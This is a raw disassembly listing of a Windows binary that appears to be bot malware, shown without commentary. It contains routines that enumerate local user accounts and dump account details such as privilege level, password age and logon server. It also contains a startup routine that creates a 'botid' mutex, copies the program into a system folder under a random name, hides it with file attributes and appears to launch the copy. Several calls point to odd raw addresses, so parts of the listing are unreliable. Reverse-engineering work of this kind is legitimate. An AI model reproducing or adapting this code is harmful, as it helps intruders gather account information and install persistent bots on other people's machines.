		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax

loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84

loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443F38
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43F54C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43F53C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43F6C0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"

loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172B0
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------

loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h

loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	dword_43F6F8

loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h

loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43F5D0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452

loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch

loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	dword_43F6F8
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	dword_43F6F8

loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF

loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_443CD8
		call	sub_4172B0
		pop	ecx
		mov	eax, offset dword_443CD8
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 27D0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43F678
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_443AD4
		push	offset dword_42F568
		push	esi
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------

loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_443AD4
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172B0
		add	esp, 14h

loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6A9	proc near		; CODE XREF: ___:00419CADp

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40D3A5
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_424058
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_489C50, eax
		call	esi
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_40981F
		push	2
		call	dword_43F714
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		call	near ptr 27E03F6h
		nop
		push	eax
		nop
		call	near ptr 2650BE2h
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		nop
		call	near ptr 77E75CB5h

loc_40E726:				; CODE XREF: sub_40E6A9+73j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_43F5E0
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40EB89
		cmp	[ebp+var_884], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		nop
		call	near ptr 2600423h
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2720D85h
		push	eax
		call	near ptr 2660000h
		nop
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	dword_42F5BC, ebx
		mov	esi, offset byte_42F678
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824

loc_40E801:				; CODE XREF: sub_40E6A9+179j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42F678[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801

loc_40E824:				; CODE XREF: sub_40E6A9+148j
					; sub_40E6A9+156j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	near ptr 2690000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		nop
		call	near ptr 27710A5h

loc_40E864:				; CODE XREF: sub_40E6A9+1A7j
		mov	esi, dword_424160
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax

loc_40E87B:				; CODE XREF: sub_40E6A9+209j
		call	esi
		test	eax, eax
		jnz	short loc_40E8B4
		call	near ptr 2650C45h
		nop
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4

loc_40E895:				; CODE XREF: sub_40E6A9+1E5j
		push	1
		pop	edi
		push	3A98h
		call	near ptr 26003D2h
		nop
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------

loc_40E8B4:				; CODE XREF: sub_40E6A9+1D6j
					; sub_40E6A9+1E0j ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		nop
		call	near ptr 27710A5h
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_64]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_64], esi
		mov	[ebp+var_58], offset byte_43C80C
		mov	[ebp+var_34], bx
		push	1
		pop	esi
		mov	[ebp+var_38], esi
		call	near ptr 27D0CA1h
		nop
		push	eax
		push	esi
		push	100000h
		call	near ptr 2720810h
		nop
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_435144
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		nop
